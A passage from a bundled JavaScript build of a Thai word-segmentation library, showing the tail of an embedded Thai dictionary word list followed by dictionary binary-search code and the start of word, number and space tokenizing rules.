วาต\\nอนุศาสก\\nอนุศาสน์\\nอนุศาสนาจารย์\\nอนุศิษฏ์\\nอนุสติ\\nอนุสนธิ\\nอนุสร\\nอนุสรณ์\\nอนุสัญญา\\nอนุสัย\\nอนุสาวรีย์\\nอนุสาสนี\\nอเนก\\nอเนกคุณ\\nอเนกรรถประโยค\\nอเนจอนาถ\\nอโนชา\\nอโนดาต\\nอบ\\nอบเชย\\nอบาย\\nอปจายนธรรม\\nอปจายนมัย\\nอปมงคล\\nอปยศ\\nอประไมย\\nอปรัณณชาติ\\nอปรา\\nอปราชัย\\nอปราชิต\\nอปริมาณ\\nอปลักษณ์\\nอปโลกน์\\nอปวาท\\nอเปหิ\\nอพพะ\\nอพยพ\\nอภัพ\\nอภัย\\nอภิ\\nอภิฆาต\\nอภิชฌา\\nอภิชน\\nอภิชนาธิปไตย\\nอภิชัย\\nอภิชาต\\nอภิชิต\\nอภิญญา\\nอภิญญาณ\\nอภิธรรม\\nอภิธาน\\nอภิไธย\\nอภินันท์\\nอภินันทนาการ\\nอภินัย\\nอภินิหาร\\nอภิเนษกรมณ์\\nอภิบาล\\nอภิปรัชญา\\nอภิปราย\\nอภิมหาอำนาจ\\nอภิมานะ\\nอภิมุข\\nอภิรดี\\nอภิรติ\\nอภิรมย์\\nอภิรักษ์\\nอภิราม\\nอภิรุต\\nอภิรุม\\nอภิรูป\\nอภิลักขิต\\nอภิลักขิตสมัย\\nอภิเลปน์\\nอภิวันท์\\nอภิวาท\\nอภิวาทน์\\nอภิเษก\\nอภิสมโพธิ\\nอภิสมัย\\nอภิสมาจาร\\nอภิสัมโพธิ\\nอภิสัมโพธิญาณ\\nอภิสิต\\nอภิสิทธิ์\\nอภูตะ\\nอม\\nอมพะนำ\\nอ้ม\\nอมตธรรม\\nอมตบท\\nอมตะ\\nอมนุษย์\\nอมร\\nอมรา\\nอมราวดี\\nอมรินทร์\\nอมเรนทร์\\nอมเรศ\\nอมฤต\\nอมัตร\\nอมาตย์\\nอมาวสี\\nอมาวสุ\\nอมาวาสี\\nอมิตร\\nอเมริกัน\\nอย่า\\nอยาก\\nอย่าง\\nอยุทธ์\\nอยู่\\nอร\\nอรชร\\nอรชุน\\nอรดี\\nอรติ\\nอรทัย\\nอรไท\\nอรนุช\\nอรพินท์\\nอรพิม\\nอรรค\\nอรรฆ\\nอรรฆย์\\nอรรจน์\\nอรรณพ\\nอรรถ\\nอรรถกถา\\nอรรถกถาจารย์\\nอรรถาธิบาย\\nอรรธ\\nอรสุม\\nอรหะ\\nอรหัง\\nอรหัต\\nอรหัตผล\\nอรหัตมรรค\\nอรหัน\\nอรหันต์\\nอรหันตฆาต\\nอร่อย\\nอรัญ\\nอรัญญิก\\nอรัญวาส\\nอรัญวาสี\\nอรัณย์\\nอราดี\\nอร่าม\\nอริ\\nอรินทร์\\nอริน\\nอริยกะ\\nอริยทรัพย์\\nอริยบุคคล\\nอริยผล\\nอริยมรรค\\nอริยสัจ\\nอริยะ\\nอรุณ\\nอรุโณทัย\\nอรุ่ม\\nอรูป\\nอลงกต\\nอลงกรณ์\\nอลงการ\\nอลวน\\nอลเวง\\nอลหม่าน\\nอล่องฉ่อง\\nอลักเอลื่อ\\nอลังการ\\nอลัชชี\\nอล่างฉ่าง\\nอลิงค์\\nอลึงค์\\nอลึ่งฉึ่ง\\nอโลหะ\\nอ้วก\\nอวกาศ\\nอวจร\\nอวชัย\\nอวชาต\\nอวด\\nอวตาร\\nอวน\\nอ้วน\\nอวบ\\nอวมงคล\\nอวย\\nอวยวะ\\nอวรรค\\nอวรุทธ์\\nอวรุทธก\\nอวล\\nอวสาน\\nอวหาร\\nอวัยวะ\\nอวัสดา\\nอวาจี\\nอวิจี\\nอวิชชา\\nอวิญญาณกทรัพย์\\nอวิญญู\\nอวิรุทธ์\\nอวิโรธน์\\nอวิโรธนะ\\nอวิหิงสา\\nอวีจิ\\nอเวจี\\nอโศก\\nอสงไขย\\nอสนี\\nอัสนี\\nอสนีบาต\\nอสภะ\\nอสมการ\\nอสมมาตร\\nอสรพิษ\\nอสังหาริมทรัพย์\\nอสังหาริมะ\\nอสัญกรรม\\nอสัญญี\\nอสัญแดหวา\\nอสัตถพฤกษ์\\nอัสสัตถพฤกษ์\\nอสัตย์\\nอสัมภิน\\nอสัมภินพงศ์\\nอสัมภินวงศ์\\nอสิ\\nอสิธารา\\nอสิต\\nอสิเลสะ\\nอสีตยานุพยัญชนะ\\nอสีติ\\nอสุ\\nอสุจิ\\nอสุนีบาต\\nอสุภ\\nอสุรกาย\\nอสุรา\\nอสุรี\\nอสุเรศ\\nอสูร\\nอเสกขบุคคล\\nอเสกขะ\\nอเสขบุคคล\\nอเสขะ\\nอหังการ\\nอหิ\\nอหิงสา\\nอหิวาต์\\nอหิวาตกโรค\\nอหึงสา\\nอเหตุกทิฐิ\\nอโหสิ\\nออ\\nอ้อ\\nอ๋อ\\nออก\\nออกซิเจน\\nออกซิเดชัน\\nออกไซด์\\nออกญา\\nอ่อง\\nอ๋อง\\nอ้องแอ้ง\\nออเซาะ\\nออด\\nอ๊อด\\nอ๊อดแอ๊ด\\nอ่อน\\nอ้อน\\nออนซ์\\nออนซอน\\nอ้อนแอ้น\\nออฟฟิศ\\nออม\\nอ่อม\\nอ้อม\\nออมชอม\\nออมซอม\\nอ้อมแอ้ม\\nอ่อย\\nอ้อย\\nอ๋อย\\nอ้อยส้อย\\nอ้อยอิ่ง\\nออสเมียม\\nอ้อแอ้\\nอ๊ะ\\nอะคร้าว\\nอะเคื้อ\\nอะแจ\\nอะเซทิลีน\\nอะดรีนาลิน\\nอะดุง\\nอะตอม\\nอะมีบา\\nอะเมริเซียม\\nอะร้าอร่าม\\nอะไร\\nอะลุ่มอล่วย\\nอะลุ้มอล่วย\\nอะลูมิเนียม\\nอะหม\\nอะไหล่\\nอัก\\nอั้ก\\nอั๊ก\\nอักกะ\\nอักโกธะ\\nอักขรวิธี\\nอักขรวิบัติ\\nอักขรสมัย\\nอักขระ\\nอักขรานุกรม\\nอักขะ\\nอักโข\\nอักโขภิณี\\nอักโขเภณี\\nอักษร\\nอักษะ\\nอักเษาหิณี\\nอักเสบ\\nอักอ่วน\\nอัคคะ\\nอัคคิ\\nอัคคี\\nอัคนิ\\nอัคนี\\nอัคร\\nอัครชายา\\nอัครมเหสี\\nอัครราชทูต\\nอัครสมณทูต\\nอัง\\nอังก์\\nอังกนะ\\nอังกฤษ\\nอังกะลุง\\nอังกา\\nอังกาบ\\nอังกุระ\\nอังกุศ\\nอังกูร\\nอังคณะ\\nอังคณา\\nอังคาร\\nอังคาส\\nอังคีรส\\nอังคุฐ\\nอังคุตรนิกาย\\nอังฆาต\\nอังแพลม\\nอั้งยี่\\nอั้งโล่\\nอังศุ\\nอังศุก\\nอังศุธร\\nอังศุมาลี\\nอังสกุฏ\\nอังสตรอม\\nอังสนา\\nอังสภาระ\\nอังสะ\\nอังสา\\nอัจกลับ\\nอัจจิ\\nอัจจิมา\\nอัจจุตะ\\nอัจฉรา\\nอัจฉริยบุคคล\\nอัจฉริยภาพ\\nอัจฉริยลักษณ์\\nอัจฉริยลักษณะ\\nอัจฉริยะ\\nอัจนา\\nอัชฌัตติก\\nอัชฌา\\nอัชฌาจาร\\nอัชฌาศัย\\nอัชฌาสัย\\nอัญเดียรถีย์\\nอัญมณี\\nอัญขยม\\nอัญชนะ\\nอัญชลี\\nอัญชัน\\nอัญชุลี\\nอัญเชิญ\\nอัญญะ\\nอัญดิตถีย์\\nอัญเดียรถีย์\\nอัญประกาศ\\nอัญรูป\\nอัฏ\\nอัฏฐบาน\\nอัฏฐะ\\nอัฏฐังคิกมรรค\\nอัฏนา\\nอัฐ\\nอัฐฬส\\nอัฐเคราะห์\\nอัฐทิศ\\nอัฐบริขาร\\nอัฐบาน\\nอัฐม\\nอัฐมี\\nอัฐศก\\nอัฐิ\\nอัฒจันทร์\\nอัฒภาค\\nอัฒมาส\\nอัฒรัตติ\\nอัณฑโกส\\nอัณฑชะ\\nอัณฑะ\\nอัณณพ\\nอัด\\nอัดแจ\\nอัต\\nอัตชีวประวัติ\\nอัตนัย\\nอัตภาพ\\nอัตวินิบาตกรรม\\nอัตคัด\\nอัตตโนบท\\nอัตตา\\nอัตตาธิปไตย\\nอัตถ์\\nอัตถะ\\nอัตโนมัติ\\nอัตรชะ\\nอัตรา\\nอัตลัด\\nอัททา\\nอัทธ์\\nอัทธา\\nอัทธาน\\nอัทธายุ\\nอัธยาตมวิทยา\\nอัธยาย\\nอัธยาศัย\\nอัน\\nอั้น\\nอั๋น\\nอันดร\\nอันดับ\\nอันตกะ\\nอันตกาล\\nอันตะ\\nอันตคุณ\\nอันตรภาค\\nอันตรวาสก\\nอันตรธาน\\nอันตรา\\nอันตราย\\nอันตรายิกธรรม\\nอันติกะ\\nอันติมสัจ\\nอันติมะ\\nอันเต\\nอันโต\\nอันเตปุริก\\nอันเตวาสิก\\nอันแถ้ง\\nอันโทล\\nอันธการ\\nอันธพาล\\nอันธิกา\\nอันเวส\\nอับ\\nอับปาง\\nอัปปะ\\nอัปเปหิ\\nอัปภาคย์\\nอัปมงคล\\nอัปยศ\\nอัประมาณ\\nอัประไมย\\nอัปราชัย\\nอัปรีย์\\nอัปลักษณ์\\nอัปสร\\nอัพพุท\\nอัพโพหาริก\\nอัพภันดร\\nอัพภาน\\nอัพภาส\\nอัพภูตธรรม\\nอัพยากฤต\\nอัมพฤกษ์\\nอัมพาต\\nอัมพวัน\\nอัมพวา\\nอัมพร\\nอัมพา\\nอัมพิละ\\nอัมพุ\\nอัมพุช\\nอัมพุชินี\\nอัมพุท\\nอัยกา\\nอัยการ\\nอัยกี\\nอัยยะ\\nอัยยิกา\\nอัลกุรอาน\\nอัลตราไวโอเลต\\nอั่ว\\nอัศจรรย์\\nอัศเจรีย์\\nอัศว\\nอัศวเมธ\\nอัศวยุช\\nอัศวานึก\\nอัศวิน\\nอัศวินี\\nอัษฎมงคล\\nอัษฏมงคล\\nอัษฎางคิกมรรค\\nอัษฎายุธ\\nอัษฎาวุธ\\nอัสสะ\\nอัสดร\\nอัสกัณ\\nอัสดง\\nอัสดงคต\\nอัสมิมานะ\\nอัสสนี\\nอัสสานึก\\nอัสสาสะ\\nอัสสุ\\nอา\\nอ่า\\nอ้า\\nอ๋า\\nอากร\\nอากังขา\\nอากัป\\nอาการ\\nอากาศ\\nอากูล\\nอาเกียรณ์\\nอาขยาต\\nอาขยาน\\nอาคเนย์\\nอาคม\\nอาครหายณี\\nอาคันตุกะ\\nอาคันตุกภัต\\nอาคันตุกวัตร\\nอาคาร\\nอาฆาต\\nอ่าง\\nอ้าง\\nอางขนาง\\nอ้างว้าง\\nอาจ\\nอาจม\\nอาจริยวัตร\\nอาจริยวาท\\nอาจาด\\nอาจาร\\nอาจารย์\\nอาจารี\\nอาจิณ\\nอาเจียน\\nอาชญา\\nอาชวะ\\nอาชา\\nอาชาไนย\\nอาชีพ\\nอาชีวศึกษา\\nอาชีวะ\\nอาชีวก\\nอาญา\\nอาฏานา\\nอาณัติ\\nอาณา\\nอาด\\nอาดูร\\nอาดุลย์\\nอาดูลย์\\nอาเด๊ะ\\nอาตมภาพ\\nอาตมัน\\nอาตมา\\nอาถรรพ์\\nอาถรรพณ์\\nอาทร\\nอาทิ\\nอาทิจจวาร\\nอาทิตย์\\nอาทิตยมณฑล\\nอาทิตยวาร\\nอาทีนพ\\nอาทีนวะ\\nอาทึก\\nอาเทศ\\nอาเทสนา\\nอาธรรม\\nอาธรรม์\\nอาธาน\\nอาธาร\\nอาน\\nอ่าน\\nอานน\\nอานนท์\\nอานันท์\\nอานันทนะ\\nอานัม\\nอานาปานะ\\nอานาปานัสสติ\\nอานิสงส์\\nอานุภาพ\\nอานุภาวะ\\nอาบ\\nอาบัติ\\nอาบัน\\nอาปณกะ\\nอาปณะ\\nอาปะ\\nอาโป\\nอาปานะ\\nอาพัทธ์\\nอาพันธ์\\nอาพันธนะ\\nอาพาธ\\nอาเพศ\\nอาภรณ์\\nอาภัพ\\nอาภัสระ\\nอาภา\\nอาภาส\\nอามลกะ\\nอามัย\\nอามิษ\\nอามิส\\nอาย\\nอ้าย\\nอายตนะ\\nอายตะ\\nอายน\\nอายัด\\nอายัต\\nอายัน\\nอายาจนะ\\nอายานะ\\nอายุ\\nอายุตกะ\\nอายุธ\\nอายุรกรรม\\nอายุรแพทย์\\nอายุรเวช\\nอายุรเวท\\nอายุศาสตร์\\nอายุษ\\nอาร์กอน\\nอารดี\\nอารติ\\nอาร์ต\\nอารทรา\\nอาร์ม\\nอารมณ์\\nอารยชน\\nอารยชาติ\\nอารยธรรม\\nอารยประเทศ\\nอารยะ\\nอารยัน\\nอาระ\\nอารักขา\\nอารักษ์\\nอารัญ\\nอารัณย์\\nอารัญญิก\\nอารัณยกะ\\nอารัติ\\nอารัมภ์\\nอารัมภกถา\\nอารัมภบท\\nอารัมภะ\\nอาราธน์\\nอาราธนา\\nอาราม\\nอารามิก\\nอารี\\nอารุม\\nอาลปนะ\\nอาละวาด\\nอาลักษณ์\\nอาลัย\\nอาลัว\\nอาลี\\nอาโลก\\nอาว\\nอ่าว\\nอ้าว\\nอาวรณ์\\nอาวัชนาการ\\nอาวัล\\nอาวาส\\nอาวาสิก\\nอาวาหมงคล\\nอาวาหะ\\nอาวุต\\nอาวุธ\\nอาวุโส\\nอาเวค\\nอาศรม\\nอาศรมบท\\nอาศเลษา\\nอาศัย\\nอาศิรพจน์\\nอาศิรพาท\\nอาศิรวาท\\nอาศุ\\nอาเศียรพจน์\\nอาเศียรพาท\\nอาเศียรวาท\\nอาษาฒ\\nอาสน\\nอาสน์\\nอาสนะ\\nอาสนศาลา\\nอาสัญ\\nอาสัตย์\\nอาสา\\nอาสาฬห์\\nอาสาฬหบูชา\\nอาสาฬหะ\\nอาสิญจ์\\nอาสิน\\nอาหม\\nอาหรับ\\nอาหาร\\nอาฬหก\\nอำ\\nอ่ำ\\nอ้ำ\\nอำแดง\\nอำนนต์\\nอำนรรฆ\\nอำนวย\\nอำนาจ\\nอำนาถ\\nอำนิฐ\\nอำนิษฐ์\\nอำปลัง\\nอำพน\\nอำพล\\nอำพะนำ\\nอำพัน\\nอำไพ\\nอำเภอ\\nอำมร\\nอำมฤคโชค\\nอำมฤต\\nอำมหิต\\nอำมาตย์\\nอำมาตยาธิปไตย\\nอำยวน\\nอำรุง\\nอำลา\\nอำอวม\\nอ้ำอึ้ง\\nอิก\\nอิง\\nอิงค์\\nอิงอร\\nอิจฉา\\nอิฉัน\\nอิชยา\\nอิฏฐารมณ์\\nอิฐ\\nอิฐผล\\nอิด\\nอิตถี\\nอิตเทรียม\\nอิตเทอร์เบียม\\nอิติวุตตกะ\\nอิทธิ\\nอิน\\nอินซูลิน\\nอินเดีย\\nอินเดียนแดง\\nอินเดียม\\nอินท์\\nอินทขีล\\nอินทนิล\\nอินทผลัม\\nอินทร์\\nอินทรธนู\\nอินทรวงศ์\\nอินทรวิเชียร\\nอินทรศักดิ์\\nอินทราณี\\nอินทราภิเษก\\nอินทรายุธ\\nอินทรี\\nอินทรีย์\\nอินทรียสังวร\\nอินทีวร\\nอินทุ\\nอินฟราเรด\\nอินัง\\nอิ่ม\\nอิมัลชัน\\nอิริเดียม\\nอิริยา\\nอิริยาบถ\\nอิรุพเพท\\nอิเล็กตรอน\\nอิเล็กทรอนิกส์\\nอิเล็กโทน\\nอิศร\\nอิศวร\\nอิษฏ์\\nอิษฏี\\nอิส\\nอิสตรี\\nอิสัตรี\\nอิสรภาพ\\nอิสระ\\nอิสริยยศ\\nอิสริยะ\\nอิสริยาภรณ์\\nอิสลาม\\nอิสสา\\nอิสิ\\nอิสี\\nอิหม่าม\\nอิหลักอิเหลื่อ\\nอี\\nอี่\\nอี้\\nอี๊\\nอี๋\\nอี๋อ๋อ\\nอีก\\nอีก้อ\\nอีก๋อย\\nอีโก้ง\\nอีจู้\\nอี๊ด\\nอีเต้อ\\nอีโต้\\nอีทุบ\\nอีเทอร์\\nอีนุงตุงนัง\\nอีนูน\\nอีโน\\nอีแปะ\\nอีโปง\\nอีเพา\\nอีมู\\nอีรม\\nอีลุ้ม\\nอีลุ่ยฉุยแฉก\\nอีเลิ้ง\\nอีศ\\nอีศวร\\nอีส\\nอีสาน\\nอีสุกอีใส\\nอีหรอบ\\nอีหลักอีเหลื่อ\\nอีหลี\\nอีหลุกขลุกขลัก\\nอีหลุกขลุกขลุ่ย\\nอีเห็น\\nอีเหน็บ\\nอีเหนียว\\nอีเหละเขละขละ\\nอีเหละเขะขะ\\nอีโหน่อีเหน่\\nอีโหลกโขลกเขลก\\nอีแอ่น\\nอึ\\nอึก\\nอึ้ก\\nอึ๊ก\\nอึกทึก\\nอึกอัก\\nอึง\\nอึ่ง\\nอึ้ง\\nอึด\\nอึดตะปือ\\nอึ้ดทึ่ด\\nอึน\\nอืด\\nอื่น\\nอื้น\\nอือ\\nอื้อ\\nอื้อฮือ\\nอุ\\nอุก\\nอุกกา\\nอุกกาบาต\\nอุกฤษฏ์\\nอุกลาบาต\\nอุค\\nอุคระ\\nอุคหนิมิต\\nอุโฆษ\\nอุ้ง\\nอุจ\\nอุจจาระ\\nอุจฉุ\\nอุจเฉท\\nอุจเฉททิฐิ\\nอุจาด\\nอุชุ\\nอุฏฐาการ\\nอุณหภูมิ\\nอุณหะ\\nอุณหาหาร\\nอุณหิส\\nอุณา\\nอุณาโลม\\nอุด\\nอุดเตา\\nอุดม\\nอุดมการณ์\\nอุดมคติ\\nอุดมศึกษา\\nอุดร\\nอุดหนุน\\nอุตดม\\nอุตตมะ\\nอุตมภาพ\\nอุตมางค์\\nอุตดร\\nอุตรกุรุทวีป\\nอุตตรายัน\\nอุตรนิกาย\\nอุตรผลคุนี\\nอุตตรผลคุนี\\nอุตรภัทรบท\\nอุตตรภัทรบท\\nอุตตรภัททะ\\nอุตราภิมุข\\nอุตราวรรต\\nอุตราวัฏ\\nอุตราษาฒ\\nอุตตราสาฬหะ\\nอุตราสงค์\\nอุตตานภาพ\\nอุตพิด\\nอุตรา\\nอุตริ\\nอุตริมนุสธรรม\\nอุตลุด\\nอุตส่าห์\\nอุตสาหกรรม\\nอุตสาหะ\\nอุตุ\\nอุตุนิยม\\nอุตุนิยมวิทยา\\nอุทก\\nอุทกธาร\\nอุทกธารา\\nอุทกภัย\\nอุทกวิทยา\\nอุทกศาสตร์\\nอุทธรณ์\\nอุทธัจ\\nอุทยาน\\nอุทร\\nอุทริยะ\\nอุทลุม\\nอุทัช\\nอุทัย\\nอุทาน\\nอุทาร\\nอุทาหรณ์\\nอุทิศ\\nอุทุมพร\\nอุเทศ\\nอุเทสิกเจดีย์\\nอุธัจ\\nอุ่น\\nอุบ\\nอุบล\\nอุบะ\\nอุบ๊ะ\\nอุบัติ\\nอุบาท\\nอุบาทว์\\nอุบาย\\nอุบาสก\\nอุบาสิกา\\nอุเบกขา\\nอุโบสถ\\nอุปกรณ์\\nอุปกรม\\nอุปการ\\nอุปการะ\\nอุปการี\\nอุปกิเลส\\nอุปจาร\\nอุปถัมภ์\\nอุปถัมภก\\nอุปทม\\nอุปทูต\\nอุปเทศ\\nอุปเท่ห์\\nอุปธิ\\nอุปนัย\\nอุปนิกขิต\\nอุปนิษัท\\nอุปนิสัย\\nอุปบัติ\\nอุปปาติกะ\\nอุปพัทธ์\\nอุปพันธ์\\nอุปโภค\\nอุปมา\\nอุปมาน\\nอุปไมย\\nอุปยุวราช\\nอุปรากร\\nอุปราคา\\nอุปราช\\nอุปริ\\nอุปริมปริยาย\\nอุปโลกน์\\nอุปเวท\\nอุปสมบท\\nอุปสมบัน\\nอุปสัมบัน\\nอุปสรรค\\nอุปสัมปทา\\nอุปฮาด\\nอุปัชฌาย์\\nอุปัชฌายวัตร\\nอุปัชฌายะ\\nอุปัฏฐาก\\nอุปัฏฐานะ\\nอุปัทวะ\\nอุปัทวันตราย\\nอุปาทาน\\nอุปาหนา\\nอุภัย\\nอุ้ม\\nอุมงค์\\nอุโมงค์\\nอุย\\nอุ่ย\\nอุ้ย\\nอุ๊ย\\nอุยยาน\\nอุยยาม\\nอุรณะ\\nอุรพี\\nอุระ\\nอุรังอุตัง\\nอุรัจฉัท\\nอุรัจฉทะ\\nอุรา\\nอุรุ\\nอุไร\\nอุลกมณี\\nอุลโลจ\\nอุลามก\\nอุลิด\\nอุโลก\\nอุแว้\\nอุษณกร\\nอุษณกาล\\nอุษณรัศมี\\nอุษณรุจี\\nอุษณาการ\\nอุษณีษ์\\nอุษมะ\\nอุษมัน\\nอุษา\\nอุษาโยค\\nอุสภ\\nอุสส่าห์\\nอุสสาหะ\\nอุสา\\nอุสุ\\nอุสุภ\\nอุสุภราช\\nอุสุม\\nอุหรับ\\nอุหลบ\\nอุเหม่\\nอุฬาร\\nอู\\nอู่\\nอู้\\nอูฐ\\nอูด\\nอูม\\nอูย\\nอูรุ\\nอู๋อี๋\\nเอ\\nเอ้\\nเอ๊\\nเอก\\nเอกเขนก\\nเอกซเรย์\\nเอกรรถประโยค\\nเอกัคตา\\nเอกังสพยากรณ์\\nเอกังสวาที\\nเอกา\\nเอ้กา\\nเอกาธิปไตย\\nเอเคอร์\\nเอง\\nเอ็ง\\nเอ๋ง\\nเอ็ด\\nเอ็ดตะโร\\nเอดส์\\nเอตทัคคะ\\nเอ้เต\\nเอทิล\\nเอน\\nเอ็น\\nเอนไซม์\\nเอ็นดู\\nเอ็นอ่อน\\nเอม\\nเอ็มบริโอ\\nเอย\\nเอ่ย\\nเอ๊ย\\nเอ๋ย\\nเอร็ดอร่อย\\nเอราวัณ\\nเอว\\nเอ๊ว\\nเอวัง\\nเอฬกะ\\nเอฬา\\nเออ\\nเอ่อ\\nเออร์เบียม\\nเอ้อระเหย\\nเอ้อเร้อ\\nเอ้อเฮอ\\nเอ๊ะ\\nเอะใจ\\nเอะอะ\\nเอะอะมะเทิ่ง\\nเอา\\nเอาทาร\\nเอาทารย์\\nเอารส\\nเอาฬาร\\nเอาะลาย\\nเอิก\\nเอิกเกริก\\nเอิ้น\\nเอิบ\\nเอียง\\nเอี้ยง\\nเอียด\\nเอี๊ยด\\nเอียน\\nเอี่ยน\\nเอี่ยม\\nเอี๊ยม\\nเอี้ยมจุ๊น\\nเอี้ยมเฟี้ยม\\nเอี่ยว\\nเอี้ยว\\nเอื้อ\\nเอื๊อก\\nเอื้อง\\nเอือด\\nเอือน\\nเอื้อน\\nเอือม\\nเอื้อม\\nเอื่อย\\nเอื้อย\\nแอ\\nแอ้\\nแอ๋\\nแอก\\nแอกทิเนียม\\nแอ่ง\\nแอ้งแม้ง\\nแอด\\nแอ้ด\\nแอ๊ด\\nแอ่น\\nแอนติเจน\\nแอนติบอดี\\nแอนติอิเล็กตรอน\\nแอโนด\\nแอบ\\nแอม\\nแอ้ม\\nแอมแปร์\\nแอมมิเตอร์\\nแอมโมเนีย\\nแอร่ม\\nแอลกอฮอล์\\nแอลฟา\\nแอว\\nแอ่ว\\nแอ้วแซ่ว\\nแอสทาทีน\\nแอสไพริน\\nแอสฟัลต์\\nแอหนัง\\nแออัด\\nโอ\\nโอ่\\nโอ้\\nโอ๋\\nโอก\\nโอ้ก\\nโอ้กอ้าก\\nโอ๊ก\\nโอกาส\\nโอฆชล\\nโอฆสงสาร\\nโอฆะ\\nโอ่ง\\nโองการ\\nโองโขดง\\nโอชะ\\nโอชา\\nโอโซน\\nโอฐ\\nโอด\\nโอ๊ต\\nโอตตัปปะ\\nโอทนะ\\nโอน\\nโอบ\\nโอปปาติกะ\\nโอภา\\nโอภาส\\nโอม\\nโอย\\nโอ๊ย\\nโอรส\\nโอละพ่อ\\nโอลิมปิก\\nโอวาท\\nโอษฐ์\\nโอษฐชะ\\nโอษฐภัย\\nโอสถ\\nโอห์ม\\nโอหัง\\nโอฬาร\\nโอฬาริก\\nโอฬารึก\\nโอ้เอ้\\nโอเอซิส\\nโอ้โฮ\\nไอ\\nไอ้\\nไอโซโทป\\nไอน์สไตเนียม\\nไอยรา\\nไอยเรศ\\nไอราพต\\nไอราวัณ\\nไอราวัต\\nไอศกรีม\\nไอศวรรย์\\nไอศุริยสมบัติ\\nไอศูรย์\\nไอออน\\nไอโอดีน\\nฮกเกี้ยน\\nฮด\\nฮวงซุ้ย\\nฮวน\\nฮ้วนหมู\\nฮวบ\\nฮ่อ\\nฮ้อ\\nฮอกกี้\\nฮอด\\nฮ่อม\\nฮ่อยจ๊อ\\nฮอร์โมน\\nฮอลแลนด์\\nฮอลันดา\\nฮะ\\nฮะเบส\\nฮะเรีย\\nฮัก\\nฮังเล\\nฮัจญ์\\nฮัจญะฮ์\\nฮัจญี\\nฮั่น\\nฮั้ว\\nฮา\\nฮ้า\\nฮ่างหลวง\\nฮาจญ์\\nฮาม\\nฮาเร็ม\\nฮาห์เนียม\\nฮิจเราะห์\\nฮินดู\\nฮิปโปโปเตมัส\\nฮิสทีเรีย\\nฮีเลียม\\nฮึ\\nฮึก\\nฮึด\\nฮึดฮัด\\nฮึ่ม\\nฮึย\\nฮึ่ย\\nฮืดฮาด\\nฮือ\\nฮื่อ\\nฮื้อ\\nฮื้อฉี่\\nฮุด\\nฮุบ\\nฮุยเลฮุย\\nฮู้\\nฮูก\\nฮูม\\nเฮ\\nเฮฮา\\nเฮกตาร์\\nเฮกโตกรัม\\nเฮกโตเมตร\\nเฮกโตลิตร\\nเฮง\\nเฮ็ด\\nเฮโมโกลบิน\\nเฮย\\nเฮ่ย\\nเฮ้ย\\nเฮโรอีน\\nเฮลิคอปเตอร์\\nเฮโล\\nเฮละโล\\nเฮ้ว\\nเฮอ\\nเฮ่อ\\nเฮ้อ\\nเฮอริเคน\\nเฮิรตซ์\\nเฮี้ยน\\nเฮี้ยบ\\nเฮี้ยว\\nเฮือก\\nเฮือน\\nแฮ\\nแฮ่\\nแฮก\\nแฮ่กึ๊น\\nแฮนด์บอล\\nแฮฟเนียม\\nแฮม\\nแฮะ\\nโฮ\\nโฮก\\nโฮ่ง\\nโฮ้ง\\nโฮเต็ล\\nโฮลเมียม\\nโฮะ\\nไฮ้\\nไฮโกรมิเตอร์\\nไฮดรา\\nไฮโดร\\nไฮโดรคาร์บอน\\nไฮโดรเจน\\nไฮโดรมิเตอร์\\nไฮไฟ\\nไฮโล\\nไฮฮี\\n\"\n              .split(/[\\r\\n]+/)\n              .filter(function (w) {\n                return w.length > 1;\n              })\n      this.addWords(words, false)\n    }\n    if(finalize){\n      this.finalizeDict();\n    }\n  },\n\n  dictSeek: function (l, r, ch, strOffset, pos) {\n    var ans = null;\n    while (l <= r) {\n      var m = Math.floor((l + r) / 2),\n        dict_item = this.dict[m],\n        len = dict_item.length;\n      if (len <= strOffset) {\n        l = m + 1;\n      } else {\n        var ch_ = dict_item[strOffset];\n        if (ch_ < ch) {\n          l = m + 1;\n        } else if (ch_ > ch) {\n          r = m - 1;\n        } else {\n          ans = m;\n          if (pos == LEFT) {\n            r = m - 1;\n          } else {\n            l = m + 1;\n          }\n        }\n      }\n    }\n    return ans;\n  },\n\n  isFinal: function (acceptor) {\n    return this.dict[acceptor.l].length == acceptor.strOffset;\n  },\n\n  createAcceptor: function () {\n    return {\n      l: 0,\n      r: this.dict.length - 1,\n      strOffset: 0,\n      isFinal: false,\n      dict: this,\n      transit: function (ch) {\n        return this.dict.transit(this, ch);\n      },\n      isError: false,\n      tag: \"DICT\",\n      w: 1,\n      type: \"DICT\"\n    };\n  },\n\n  transit: function (acceptor, ch) {\n    var l = this.dictSeek(acceptor.l,\n      acceptor.r,\n      ch,\n      acceptor.strOffset,\n      LEFT);\n    if (l !== null) {\n      var r = this.dictSeek(l,\n        acceptor.r,\n        ch,\n        acceptor.strOffset,\n        RIGHT);\n      acceptor.l = l;\n      acceptor.r = r;\n      acceptor.strOffset++;\n      acceptor.isFinal = this.isFinal(acceptor);\n    } else {\n      acceptor.isError = true;\n    }\n    return acceptor;\n  },\n\n  sortuniq: function(a){\n    return a.sort().filter(function(item, pos, arr){\n      return !pos || item != arr[pos - 1];\n    })\n  },\n\n  flatten: function(a){\n    //[[1,2],[3]] -> [1,2,3]\n    return [].concat.apply([], a);\n  }\n};\nmodule.exports = WordcutDict;\n\n}).call(this,\"/dist/tmp\")\n},{\"glob\":16,\"path\":22}],3:[function(require,module,exports){\nvar WordRule = {\n  createAcceptor: function(tag) {\n    if (tag[\"WORD_RULE\"])\n      return null;\n\n    return {strOffset: 0,\n            isFinal: false,\n            transit: function(ch) {\n              var lch = ch.toLowerCase();\n              if (lch >= \"a\" && lch <= \"z\") {\n                this.isFinal = true;\n                this.strOffset++;\n              } else {\n                this.isError = true;\n              }\n              return this;\n            },\n            isError: false,\n            tag: \"WORD_RULE\",\n            type: \"WORD_RULE\",\n            w: 1};\n  }\n};\n\nvar NumberRule = {\n  createAcceptor: function(tag) {\n    if (tag[\"NUMBER_RULE\"])\n      return null;\n\n    return {strOffset: 0,\n            isFinal: false,\n            transit: function(ch) {\n              if (ch >= \"0\" && ch <= \"9\") {\n                this.isFinal = true;\n                this.strOffset++;\n              } else {\n                this.isError = true;\n              }\n              return this;\n            },\n            isError: false,\n            tag: \"NUMBER_RULE\",\n            type: \"NUMBER_RULE\",\n            w: 1};\n  }\n};\n\nvar SpaceRule = {\n  tag: \"SPACE_RULE\",\n  createAcceptor: function(tag) {\n\n    if (tag[\"SPACE_RULE\"])\n      return null;\n\n    return {strOffset: 0,\n            isFinal: false,\n            transit: function(ch) {\n              if (ch == \" \" || ch == \"\\t\" || ch == \"\\r\" || ch == \"\\n\" ||\n                  ch == \"\\u00A0\" || ch==\"\\u2003\"//nbsp and emsp\n                 ) {\n                this.isFinal = true;\n                this.strOffset++;\n              } 